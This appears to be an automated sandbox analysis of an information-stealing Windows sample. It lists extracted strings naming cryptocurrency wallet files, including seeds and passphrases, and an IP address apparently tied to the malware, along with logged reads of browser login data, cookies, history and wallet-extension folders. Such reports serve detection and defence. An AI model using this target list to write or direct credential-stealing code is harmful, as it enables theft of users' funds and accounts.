Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\app-store.json*
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000001.00000002.1714173625.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000001.00000002.1714173625.0000000000B6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Electrum-LTC\wallets\.?

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
